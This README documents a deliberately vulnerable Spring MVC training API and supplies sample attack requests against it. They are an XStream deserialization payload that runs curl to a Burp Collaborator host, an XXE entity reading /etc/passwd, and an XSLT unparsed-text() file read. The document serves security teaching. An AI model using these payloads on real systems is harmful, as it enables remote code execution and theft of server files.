Vulnerable Spring MVC API

Vulnerable to:

• deserialization attacks (OWASP Top 10 A8)
• XXE (OWASP Top 10 A4)
• XSLT abuse (XSLT 1.0 and 2.0)

Running with maven

1. git clone https://github.com/eoftedal/deserialize.git
2. cd deserialize
3. mvn jetty:run

Accessible on port 8080

Running in docker

1. git clone https://github.com/eoftedal/deserialize.git
2. cd deserialize
3. docker build -t deserialize .
4. docker run -p 8080:8080 -it deserialize

Normal request

POST /api/contacts HTTP/1.1
Host: localhost
Content-Type: application/xml
Accept: application/xml

<contact>  
    <firstName>yo</firstName>
    <lastName>lo</lastName>
    <email>yo@lo.no</email>
</contact>  

Deserialization attack

POST /api/contacts HTTP/1.1
Host: localhost
Content-Type: application/xml
Accept: application/xml

<dynamic-proxy>  
  <interface>org.insecurelabs.api.contacts.Contact</interface>  
  <handler class="java.beans.EventHandler">  
    <target class="java.lang.ProcessBuilder">
      <command><string>/usr/bin/curl</string><string>http://[yourid].burpcollaborator.net</string></command>
    </target>
    <action>start</action>
  </handler>  
</dynamic-proxy> 

XXE

POST /api/contacts HTTP/1.1
Host: localhost
Content-Type: application/xml
Accept: application/xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ELEMENT string (#PCDATA)>
    <!ENTITY content SYSTEM "file:/etc/passwd">
]>
<contact>  
    <firstName>&content;</firstName>
    <lastName>lo</lastName>
    <email>yo@lo.no</email>
</contact>

XSLT 2.0

You have to run at least one normal request first.

POST /api/contacts/1/html HTTP/1.1
Host: localhost
Content-Type: application/xslt
Accept: text/html
Content-Length: 241

<?xml version="1.0" encoding="UTF-8" ?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/">
  <xsl:value-of select="unparsed-text('/etc/passwd')"/>
 </xsl:template>
</xsl:stylesheet>

You can also use URLs instead of file names with unparsed-text(). And of course XXE in the XSLT.

Resources

http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/